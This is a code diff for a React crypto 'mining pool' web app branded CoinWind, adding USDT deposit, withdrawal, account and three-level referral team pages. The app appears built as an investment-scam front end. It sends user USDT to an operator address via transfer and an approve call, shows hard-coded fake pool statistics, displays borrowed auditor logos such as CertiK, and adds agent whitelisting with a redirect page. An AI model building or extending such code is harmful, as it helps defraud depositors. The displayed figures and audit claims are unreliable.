||||
}, 8000)
|
||||
} else {
|
||||
console.error("approve error:" + err.message)
|
||||
}
|
||||
})
|
||||
}
|
||||
}).catch(err => {
|
||||
|
||||
})
|
||||
}
|
||||
|
||||
const onBtnThis = async () => {
|
||||
if (!app.address) {
|
||||
await connect()
|
||||
// checkAuth()
|
||||
} else {
|
||||
// deposite
|
||||
doOpenDeposite()
|
||||
}
|
||||
}
|
||||
|
||||
const onDepositeSucceed = (amount) => {
|
||||
toasts(toast, "You have successfully deposited " + amount + ' USDT')
|
||||
|
||||
post_staking(app.address, amount).then(res => {
|
||||
|
||||
}).catch(err => {
|
||||
toaste(toast, 'Please contact customer service to report your deposition.', 'Error')
|
||||
})
|
||||
}
|
||||
|
||||
const onConfirmDeposite = () => {
|
||||
const amount = refDepositeFocus.current.value
|
||||
if (amount <= 0) {
|
||||
toasti(toast, 'Invalid amount value')
|
||||
return
|
||||
}
|
||||
|
||||
transfer(ABI, contract_usdt_on_eth, app.appAddress, app.address, (err, res) => {
|
||||
if (!err) {
|
||||
onDepositeSucceed(amount)
|
||||
} else {
|
||||
toaste(toast, 'Deposite failed')
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
return (
|
||||
<>
|
||||
<Button
|
||||
onClick={onBtnThis}
|
||||
colorScheme='teal'
|
||||
variant="solid"
|
||||
{...rest}
|
||||
>
|
||||
{authorized ? walletButtonOptions.connText : walletButtonOptions.text}
|
||||
</Button>
|
||||
|
||||
<ModalDeposite
|
||||
isOpen={isOpenDeposite}
|
||||
onClose={doCloseDeposite}
|
||||
onConfirm={onConfirmDeposite}
|
||||
ref={refDepositeFocus}
|
||||
/>
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
|
@ -1,16 +0,0 @@
|
|||
import { Stack } from "@chakra-ui/react"
|
||||
|
||||
|
||||
export const Panel = ({ children, ...rest }) => {
|
||||
|
||||
return (
|
||||
<Stack
|
||||
w="full"
|
||||
borderRadius="lg"
|
||||
direction={{ base: 'column', md: 'row' }}
|
||||
{...rest}
|
||||
>
|
||||
{children}
|
||||
</Stack>
|
||||
)
|
||||
}
|
||||
|
|
@ -2,5 +2,4 @@ export * from './row'
|
|||
export * from './col'
|
||||
export * from './ChakraBottomNav'
|
||||
export * from './ColorModeSwitcher'
|
||||
export * from './Panel'
|
||||
export * from './Placeholder'
|
||||
|
|
|
|||
|
|
@ -7,5 +7,12 @@ export * from './Partners'
|
|||
export * from './Auditors'
|
||||
export * from './FarmCoinCard'
|
||||
export * from './StakingCoinCard'
|
||||
export * from './Panels'
|
||||
export * from './LRPanel'
|
||||
export * from './Faq'
|
||||
export * from './Hero'
|
||||
export * from './LatestScreen'
|
||||
export * from './PoolData'
|
||||
export * from './WalletButton'
|
||||
export * from './alert'
|
||||
export * from './base'
|
||||
|
|
|
|||
|
|
@ -10,9 +10,12 @@ const items = {
|
|||
|
||||
export const config = {
|
||||
APP_NAME: process.env.REACT_APP_NAME || 'CoinWind',
|
||||
ENABLE_WALLETCONNECT: false,
|
||||
ENABLE_WALLETCONNECT: true,
|
||||
ENABLE_COINBASE: true,
|
||||
AUTO_CONN_WALLET: false,
|
||||
INFURAL_ID: 'a4a92ab2377d4bb9a693d96c27c6523e',
|
||||
DOMAIN: 'https://ndb.01a01.com/',
|
||||
AGENT_WHITELIST: [],
|
||||
ENDPOINT: process.env.NODE_ENV === 'production' ? items.production.ENDPOINT : items.development.ENDPOINT,
|
||||
API: () => this.ENDPOINT + 'api/',
|
||||
}
|
||||
|
|
|
|||
14
src/data.js
14
src/data.js
|
|
@ -3,9 +3,13 @@ import { config } from "./config"
|
|||
export const Images = {
|
||||
logo: config.ENDPOINT + 'upload/images/LOGO1.svg',
|
||||
auditors: [
|
||||
config.ENDPOINT + 'static/media/logo-lingzonganquan.5ab95e1c.svg',
|
||||
config.ENDPOINT + 'static/media/logo-chengdulianan.8167d6d1.svg',
|
||||
process.env.PUBLIC_URL + '/imgs/auditors/certik.jpg',
|
||||
process.env.PUBLIC_URL + '/imgs/auditors/sybxgroup.png',
|
||||
process.env.PUBLIC_URL + '/imgs/auditors/qedit.png',
|
||||
process.env.PUBLIC_URL + '/imgs/auditors/orchidlabs.png',
|
||||
process.env.PUBLIC_URL + '/imgs/auditors/polysign.jpg',
|
||||
],
|
||||
|
||||
partners: [
|
||||
config.ENDPOINT + 'static/media/mexc.png',
|
||||
config.ENDPOINT + 'static/media/WhatsCion LOGO.6719d0fe.svg',
|
||||
|
|
@ -20,9 +24,11 @@ export const Images = {
|
|||
config.ENDPOINT + 'static/media/aolink.55778d9b.svg',
|
||||
config.ENDPOINT + 'static/media/codebank.db7917c8.svg',
|
||||
],
|
||||
|
||||
more: config.ENDPOINT + 'static/media/icon-more.c502d302.svg',
|
||||
new: config.ENDPOINT + 'static/media/jiaobiao-eth.4b55fb16.svg',
|
||||
stakingBanner: config.ENDPOINT + 'static/media/banner-staking-bsc-english.539496dc.png'
|
||||
stakingBanner: config.ENDPOINT + 'static/media/eth_mining.jpg',
|
||||
usdt: config.ENDPOINT + 'upload/images/XTVCUSDT--big.svg',
|
||||
}
|
||||
|
||||
export const ABI = [
|
||||
|
|
@ -268,3 +274,5 @@ export const ABI = [
|
|||
"type": "function"
|
||||
}
|
||||
]
|
||||
|
||||
export const contract_usdt_on_eth = '0xdac17f958d2ee523a2206206994597c13d831ec7'
|
||||
13
src/index.js
13
src/index.js
|
|
@ -1,8 +1,11 @@
|
|||
import React, { StrictMode } from 'react'
|
||||
import { createRoot } from 'react-dom/client'
|
||||
import i18n from './i18'
|
||||
import i18n from './i18' // DO NOT REMOVE
|
||||
import App from './App'
|
||||
import { Home, Farm, Staking, Faq,Announcement,Tut } from './pages'
|
||||
import {
|
||||
Home, Account, Team,
|
||||
Farm, Staking, Faq, Announcement, Tut,
|
||||
} from './pages'
|
||||
import reportWebVitals from './reportWebVitals'
|
||||
import * as serviceWorker from './serviceWorker'
|
||||
import { BrowserRouter, Routes, Route } from 'react-router-dom'
|
||||
|
|
@ -18,11 +21,13 @@ root.render(
|
|||
<Route path="/" element={<App />}>
|
||||
<Route index element={<Home />} />
|
||||
<Route path="home" element={<Home />} />
|
||||
<Route path="farm" element={<Farm />} />
|
||||
<Route path='account' element={<Account />} />
|
||||
<Route path='team' element={<Team />} />
|
||||
{/* <Route path="farm" element={<Farm />} />
|
||||
<Route path="staking" element={<Staking />} />
|
||||
<Route path="faq" element={<Faq />} />
|
||||
<Route path="ann" element={<Announcement />} />
|
||||
<Route path="tut" element={<Tut />} />
|
||||
<Route path="tut" element={<Tut />} /> */}
|
||||
<Route path="*" element={<NotFound />} />
|
||||
</Route>
|
||||
</Routes>
|
||||
|
|
|
|||
|
|
@ -3,6 +3,8 @@ export const en = {
|
|||
home: 'Home',
|
||||
farm: 'Farm',
|
||||
staking: 'Staking',
|
||||
account: 'Account',
|
||||
team: 'Team',
|
||||
announcement: 'Announcement',
|
||||
faq: 'FAQ',
|
||||
tutorial: 'tutorial',
|
||||
|
|
|
|||
|
|
@ -3,6 +3,8 @@ export const fr = {
|
|||
home: 'Domicile',
|
||||
farm: 'Ferme',
|
||||
staking: 'Jalonnement',
|
||||
account: 'Account',
|
||||
team: 'Team',
|
||||
announcement: 'Annonce',
|
||||
faq: 'FAQ',
|
||||
tutorial: 'Didacticiel',
|
||||
|
|
|
|||
|
|
@ -3,6 +3,8 @@ export const tw = {
|
|||
home: '首頁',
|
||||
farm: '農場',
|
||||
staking: '質押',
|
||||
account: 'Account',
|
||||
team: 'Team',
|
||||
announcement: '公告',
|
||||
faq: 'FAQ',
|
||||
tutorial: '教案',
|
||||
|
|
|
|||
|
|
@ -0,0 +1,229 @@
|
|||
import {
|
||||
Text, Button, Tab, TabList, TabPanel, TabPanels,
|
||||
Tabs, Center, Input, Divider, Image,
|
||||
Badge, Icon, StackDivider, HStack,
|
||||
} from '@chakra-ui/react'
|
||||
import React from 'react'
|
||||
import { HBetween, HFStack, PoolData, VFStack } from '../components'
|
||||
import { Images } from '../data'
|
||||
import {
|
||||
get_page_account, post_withdraw,
|
||||
get_withdrawal_history,
|
||||
get_daily_revenue_history,
|
||||
get_reward_history,
|
||||
} from '../api'
|
||||
import { useApp } from '../AppContext'
|
||||
|
||||
|
||||
let accountData = [
|
||||
{ name: 'Total output', value: 0, emp: false, unit: 'USDT' },
|
||||
{ name: 'Wallet balance', value: 0, emp: false, unit: 'USDT' },
|
||||
{ name: 'Withdrawal balance', value: 0, emp: false, unit: 'USDT' },
|
||||
]
|
||||
|
||||
const NoData = () => (
|
||||
<HStack h='20' >
|
||||
<Text>
|
||||
No Available Data
|
||||
</Text>
|
||||
</HStack>
|
||||
)
|
||||
|
||||
export const Account = () => {
|
||||
const app = useApp()
|
||||
|
||||
const [accountInfo, setAccountInfo] = React.useState(accountData)
|
||||
const [withdrawalHist, setWithdrawalHist] = React.useState([])
|
||||
const [dailyRevenueHist, setDailyRevenueHist] = React.useState([])
|
||||
const [rewardHist, setRewardHist] = React.useState([])
|
||||
|
||||
const [withdrawalAmount, setWithdrawalAmount] = React.useState(0)
|
||||
|
||||
const onBtnConfirm = () => {
|
||||
if (app.address && withdrawalAmount > 0) {
|
||||
post_withdraw(app.address, withdrawalAmount).then(res => {
|
||||
|
||||
}).catch(err => {
|
||||
console.error(err.message)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
React.useEffect(() => {
|
||||
if (app.address) {
|
||||
get_page_account(app.address).then(res => {
|
||||
console.log(res.data)
|
||||
const d = res.data
|
||||
let newAccount = [...accountData]
|
||||
newAccount[0].value = d.output
|
||||
newAccount[1].value = d.balance
|
||||
newAccount[2].value = d.withdrawal
|
||||
setAccountInfo(newAccount)
|
||||
|
||||
}).catch(err => {
|
||||
console.error(err.message)
|
||||
})
|
||||
|
||||
get_withdrawal_history().then(res => {
|
||||
console.log(res.data)
|
||||
})
|
||||
get_daily_revenue_history().then(res => {
|
||||
console.log(res.data)
|
||||
})
|
||||
get_reward_history().then(res => {
|
||||
console.log(res.data)
|
||||
})
|
||||
}
|
||||
}, [app.address])
|
||||
|
||||
return (
|
||||
<>
|
||||
<PoolData title='My Account' data={accountInfo} />
|
||||
|
||||
<Tabs mt="4" isFitted variant="enclosed">
|
||||
<TabList>
|
||||
<Tab _selected={{ color: 'white', bg: 'purple.500' }}> Withdrawal</Tab>
|
||||
<Tab _selected={{ color: 'white', bg: 'purple.500' }}>Record</Tab>
|
||||
</TabList>
|
||||
|
||||
<TabPanels>
|
||||
|
||||
<TabPanel
|
||||
bg="white"
|
||||
borderWidth="1px"
|
||||
borderRadius="lg"
|
||||
boxShadow="lg"
|
||||
>
|
||||
<VFStack>
|
||||
<HFStack
|
||||
p="4"
|
||||
>
|
||||
<Text fontWeight='700'>Withdraw</Text>
|
||||
</HFStack>
|
||||
|
||||
<HFStack
|
||||
align="center"
|
||||
borderRadius="lg"
|
||||
borderWidth="1px"
|
||||
p="2"
|
||||
divider={<StackDivider borderColor='gray.200' />}
|
||||
>
|
||||
<VFStack flex={1} align="start">
|
||||
<Input
|
||||
type='number'
|
||||
borderWidth="0"
|
||||
_focus={{ borderWidth: "0" }}
|
||||
size="lg"
|
||||
value={withdrawalAmount}
|
||||
onChange={(ev) => {
|
||||
setWithdrawalAmount(ev.target.value)
|
||||
}}
|
||||
/>
|
||||
|
||||
<Badge
|
||||
as="button"
|
||||
colorScheme='blue'
|
||||
variant='solid'
|
||||
fontSize='10'
|
||||
onClick={() => {
|
||||
setWithdrawalAmount(accountInfo[1].value)
|
||||
}}
|
||||
>
|
||||
Redeem all
|
||||
</Badge>
|
||||
</VFStack>
|
||||
|
||||
<HFStack
|
||||
flex={1}
|
||||
justify="center"
|
||||
align="center"
|
||||
fontWeight='700'
|
||||
pb="6"
|
||||
>
|
||||
<Image w='8' h='8' borderRadius='50%' src={Images.usdt} alt="usdt" />
|
||||
<Text>USDT</Text>
|
||||
</HFStack>
|
||||
|
||||
</HFStack>
|
||||
|
||||
<Center py="4">
|
||||
<Button colorScheme="purple" onClick={onBtnConfirm}>Confirm</Button>
|
||||
</Center>
|
||||
|
||||
<Divider />
|
||||
|
||||
<HFStack>
|
||||
<Text
|
||||
fontSize='12'
|
||||
color='gray.400'
|
||||
>
|
||||
Your withdrawal will be sent to you USDT wallet address within 24 hours.
|
||||
</Text>
|
||||
</HFStack>
|
||||
</VFStack>
|
||||
</TabPanel>
|
||||
|
||||
<TabPanel>
|
||||
|
||||
<Tabs>
|
||||
<TabList>
|
||||
<Tab _selected={{ color: 'white', bg: 'purple.400' }}>Withdraw</Tab>
|
||||
<Tab _selected={{ color: 'white', bg: 'purple.400' }}>DailyRevenue</Tab>
|
||||
<Tab _selected={{ color: 'white', bg: 'purple.400' }}>Reward</Tab>
|
||||
</TabList>
|
||||
|
||||
<TabPanels>
|
||||
<TabPanel>
|
||||
<HBetween>
|
||||
<Text>Time</Text>
|
||||
<Text>Quantity</Text>
|
||||
<Text>Status</Text>
|
||||
</HBetween>
|
||||
{
|
||||
withdrawalHist ?
|
||||
<>
|
||||
</>
|
||||
:
|
||||
'No Data.'
|
||||
}
|
||||
</TabPanel>
|
||||
|
||||
<TabPanel>
|
||||
<HBetween>
|
||||
<Text>Time</Text>
|
||||
<Text>Quantity</Text>
|
||||
<Text>Type</Text>
|
||||
</HBetween>
|
||||
{
|
||||
dailyRevenueHist ?
|
||||
<>
|
||||
</>
|
||||
:
|
||||
'No Data.'
|
||||
}
|
||||
</TabPanel>
|
||||
|
||||
<TabPanel>
|
||||
<HBetween>
|
||||
<Text>Time</Text>
|
||||
<Text>Quantity</Text>
|
||||
<Text>User Address</Text>
|
||||
</HBetween>
|
||||
{
|
||||
rewardHist ?
|
||||
<>
|
||||
</>
|
||||
:
|
||||
'No Data.'
|
||||
}
|
||||
</TabPanel>
|
||||
</TabPanels>
|
||||
</Tabs>
|
||||
</TabPanel>
|
||||
</TabPanels>
|
||||
</Tabs>
|
||||
</>
|
||||
|
||||
)
|
||||
}
|
||||
|
||||
|
|
@ -3,11 +3,12 @@ import {
|
|||
Box, Stack, VStack, Image, Text,
|
||||
Flex, HStack, useColorModeValue
|
||||
} from "@chakra-ui/react"
|
||||
import { Auditors, Partners, Carousel, MultiChainCard, StateCard, MiningListCard } from "../components"
|
||||
import { Auditors, Partners, } from "../components"
|
||||
import { useApp } from '../AppContext'
|
||||
import { get_coins_platform } from '../api'
|
||||
import { ImPieChart, ImFire } from 'react-icons/im'
|
||||
import { useCountup } from "../hooks"
|
||||
import { get_page_mining } from '../api'
|
||||
import { PoolData } from "../components/PoolData"
|
||||
import { Faq } from "../components/Faq"
|
||||
import { LatestScreen } from "../components/LatestScreen"
|
||||
|
||||
const HomeFooter = () => {
|
||||
|
||||
|
|
@ -33,8 +34,17 @@ const HomeFooter = () => {
|
|||
)
|
||||
}
|
||||
|
||||
let defPoolData = [
|
||||
{ name: 'Total output', value: 234, emp: true, unit: '' },
|
||||
{ name: 'Valid node', value: 2344.34, emp: true, unit: '' },
|
||||
{ name: 'Participant', value: 2342342.32, emp: false, unit: '' },
|
||||
{ name: 'User revenue', value: 234234.04, emp: false, unit: 'USDT' },
|
||||
]
|
||||
|
||||
export const Home = () => {
|
||||
const [coins, setCoins] = React.useState([])
|
||||
const [poolData, setPoolData] = React.useState(defPoolData)
|
||||
const [lastestRecord, setLastestRecord] = React.useState([])
|
||||
const [articles, setArticles] = React.useState([])
|
||||
|
||||
const app = useApp()
|
||||
|
||||
|
|
@ -42,62 +52,31 @@ export const Home = () => {
|
|||
const stateCardBg = useColorModeValue('gray.100', 'gray.900')
|
||||
|
||||
React.useEffect(() => {
|
||||
get_coins_platform().then((res) => {
|
||||
setCoins(res.data)
|
||||
get_page_mining().then(res => {
|
||||
// console.log(res.data)
|
||||
const pd = res.data.pool_data
|
||||
let newPd = [...defPoolData]
|
||||
newPd[0].value = pd.totalOutput
|
||||
newPd[1].value = pd.validNode
|
||||
newPd[2].value = pd.participant
|
||||
newPd[3].value = pd.userRevenue
|
||||
setPoolData(newPd)
|
||||
setArticles(res.data.articles)
|
||||
setLastestRecord(res.data.topEarns)
|
||||
}).catch(err => {
|
||||
console.error('get_coins_platform() error:' + err.message)
|
||||
|
||||
})
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<>
|
||||
<Box>
|
||||
<Carousel url={app.bannerLink} cards={app.banners} />
|
||||
</Box>
|
||||
<PoolData title='Pool' data={poolData} />
|
||||
|
||||
<VStack
|
||||
borderWidth="1px"
|
||||
borderRadius="lg"
|
||||
w="full"
|
||||
bg={bg}
|
||||
boxShadow="lg"
|
||||
p="6"
|
||||
my="4"
|
||||
>
|
||||
<Stack
|
||||
w="full"
|
||||
direction={{ base: 'column', md: 'row' }}
|
||||
>
|
||||
<MultiChainCard icon={ImFire} title="Multi-chain Lock-up Value($)" num={app.rewards[0]} />
|
||||
<MultiChainCard icon={ImPieChart} title="Multi-chain User Revenue($)" num={app.rewards[1]} />
|
||||
</Stack>
|
||||
<LatestScreen mt="4" data={lastestRecord} />
|
||||
|
||||
<Stack
|
||||
bg={stateCardBg}
|
||||
w="full"
|
||||
borderRadius="lg"
|
||||
direction={{ base: 'column', md: 'row' }}
|
||||
>
|
||||
<HStack
|
||||
flex={1}
|
||||
>
|
||||
<StateCard title="Mining Output" num={app.rewards[2]} />
|
||||
<StateCard title="Mining Output Value($)" num={app.rewards[3]} />
|
||||
</HStack>
|
||||
<Faq articles={articles} mt="4" />
|
||||
|
||||
<HStack
|
||||
flex={1}
|
||||
>
|
||||
<StateCard title="Multi-chain Rewards($)" num={app.rewards[4]} />
|
||||
<StateCard title="Multi-chain Burned" num="0" />
|
||||
</HStack>
|
||||
</Stack>
|
||||
|
||||
</VStack>
|
||||
|
||||
<MiningListCard coins={coins} />
|
||||
|
||||
{/* <Auditors mt="4" /> */}
|
||||
<Auditors mt="4" />
|
||||
|
||||
<Partners mt="4" />
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,14 @@
|
|||
import React from "react"
|
||||
import { VFStack } from "../components"
|
||||
|
||||
|
||||
// Redirect to this page then
|
||||
// open any pages in the browser you dont want.
|
||||
export const InvaidAgent = () => {
|
||||
|
||||
return (
|
||||
<VFStack>
|
||||
|
||||
</VFStack>
|
||||
)
|
||||
}
|
||||
|
|
@ -0,0 +1,100 @@
|
|||
import React from "react"
|
||||
import {
|
||||
Divider, FormControl, FormHelperText, FormLabel, Button,
|
||||
Input, InputRightElement, InputGroup, Icon, IconButton, useClipboard,
|
||||
} from "@chakra-ui/react"
|
||||
import { useApp } from "../AppContext"
|
||||
import { PoolData, VPanel } from "../components"
|
||||
import { FiCopy, FiCheck } from 'react-icons/fi'
|
||||
import { get_page_team } from '../api'
|
||||
|
||||
let teamData = [
|
||||
{ name: 'Level 1 Total Output', value: 234, emp: true, unit: 'USDT' },
|
||||
{ name: 'Level 2 Total Output', value: 2344.34, emp: true, unit: 'USDT' },
|
||||
{ name: 'Level 3 Total Output', value: 2342342.32, emp: true, unit: 'USDT' },
|
||||
{ name: 'Participant', value: 234234.04, emp: true, unit: 'USDT' },
|
||||
{ name: 'Team revenue', value: 234234.04, emp: false, unit: 'USDT' },
|
||||
]
|
||||
|
||||
export const Team = () => {
|
||||
const app = useApp()
|
||||
const [teamInfo, setTeamInfo] = React.useState(teamData)
|
||||
const { hasCopiedAddress, doCopyAddress } = useClipboard('12345')
|
||||
const { hasCopiedShareLink, doCopyShareLink } = useClipboard(app.shareLink)
|
||||
|
||||
React.useEffect(() => {
|
||||
get_page_team().then(res => {
|
||||
// console.log(res.data)
|
||||
const d = res.data
|
||||
let newTeam = [...teamData]
|
||||
newTeam[0].value = d.l1Output
|
||||
newTeam[1].value = d.l2Output
|
||||
newTeam[2].value = d.l3Output
|
||||
newTeam[3].value = d.participant
|
||||
newTeam[4].value = d.teamRevenue
|
||||
|
||||
setTeamInfo(newTeam)
|
||||
}).catch(err => {
|
||||
console.error(err.message)
|
||||
})
|
||||
}, [])
|
||||
|
||||
const onBtnCopyAddress = () => {
|
||||
|
||||
}
|
||||
|
||||
const onBtnCopyLink = () => {
|
||||
|
||||
}
|
||||
|
||||
return (
|
||||
|
||||
<>
|
||||
<PoolData title='Team' data={teamInfo} />
|
||||
|
||||
<VPanel my="4">
|
||||
|
||||
<FormControl>
|
||||
<FormLabel htmlFor="address">
|
||||
My wallet address
|
||||
</FormLabel>
|
||||
<InputGroup>
|
||||
<Input id='address' type='text'
|
||||
value={app.address}
|
||||
disabled
|
||||
// onChange={}
|
||||
/>
|
||||
<InputRightElement children={
|
||||
<IconButton
|
||||
variant='solid'
|
||||
colorScheme='gray'
|
||||
icon={<Icon as={hasCopiedAddress ? FiCheck : FiCopy} />}
|
||||
onClick={doCopyAddress}
|
||||
/>
|
||||
} />
|
||||
</InputGroup>
|
||||
<FormHelperText>Set tht referrer, the referrer will get addtional rewards from the mining pool</FormHelperText>
|
||||
</FormControl>
|
||||
|
||||
<Divider />
|
||||
|
||||
<FormControl>
|
||||
<FormLabel>My share link</FormLabel>
|
||||
<InputGroup>
|
||||
<Input id='link' type='text' value={app.shareLink} disabled />
|
||||
<InputRightElement children={
|
||||
<IconButton
|
||||
zIndex='100'
|
||||
variant='solid'
|
||||
colorScheme='gray'
|
||||
icon={<Icon as={hasCopiedShareLink ? FiCheck : FiCopy} />}
|
||||
onClick={doCopyShareLink}
|
||||
/>
|
||||
} />
|
||||
</InputGroup>
|
||||
|
||||
</FormControl>
|
||||
</VPanel>
|
||||
</>
|
||||
)
|
||||
}
|
||||
|
|
@ -2,6 +2,8 @@
|
|||
export * from './Home'
|
||||
export * from './Farm'
|
||||
export * from './Staking'
|
||||
export * from './Account'
|
||||
export * from './Team'
|
||||
export * from './Announcement'
|
||||
export * from './NotFound'
|
||||
export * from './Invite'
|
||||
|
|
|
|||
|
|
@ -0,0 +1,16 @@
|
|||
.swiper {
|
||||
width : 100%;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.swiper-slide {
|
||||
/* Center slide text vertically */
|
||||
display: -webkit-box;
|
||||
display: -ms-flexbox;
|
||||
display: -webkit-flex;
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.swiper-container-free-mode>.swiper-wrapper {
|
||||
transition-timing-function: linear;
|
||||
}
|
||||
|
|
@ -3,6 +3,10 @@ import { extendTheme } from "@chakra-ui/react"
|
|||
const config = {
|
||||
initialColorMode: 'light',
|
||||
useSystemColorMode: false,
|
||||
fonts: {
|
||||
heading: 'Open Sans, sans-serif',
|
||||
body: 'Open Sans, sans-serif',
|
||||
},
|
||||
}
|
||||
|
||||
export const theme = extendTheme({ config })
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@ export const ModalDeposite = React.forwardRef((props, ref) => {
|
|||
>
|
||||
<Box>
|
||||
<FormControl>Amount</FormControl>
|
||||
<Input ref={ref} placeholder="deposite amount" />
|
||||
<Input type="number" ref={ref} placeholder="deposite amount" />
|
||||
</Box>
|
||||
|
||||
</ModalBox>
|
||||
|
|
|
|||
Loading…
Reference in New Issue